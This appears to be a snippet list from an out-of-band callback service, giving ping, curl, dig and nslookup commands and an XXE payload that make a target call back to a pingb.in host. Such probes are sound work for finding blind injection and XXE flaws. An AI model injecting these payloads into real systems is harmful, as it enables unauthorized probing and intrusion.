$ ping -c1 -p 00d135bcda33b55c41c120463b52cb00 pingb.in
 

$ curl pingb.in/p/d135bcda33b55c41c120463b52cb
 

$ dig d135bcda33b55c41c120463b52cb @pingb.in
 

$ dig d135bcda33b55c41c120463b52cb.ns.pingb.in
 

C:\> nslookup d135bcda33b55c41c120463b52cb pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d135bcda33b55c41c120463b52cb">]>
    <foo>&xxe;</foo>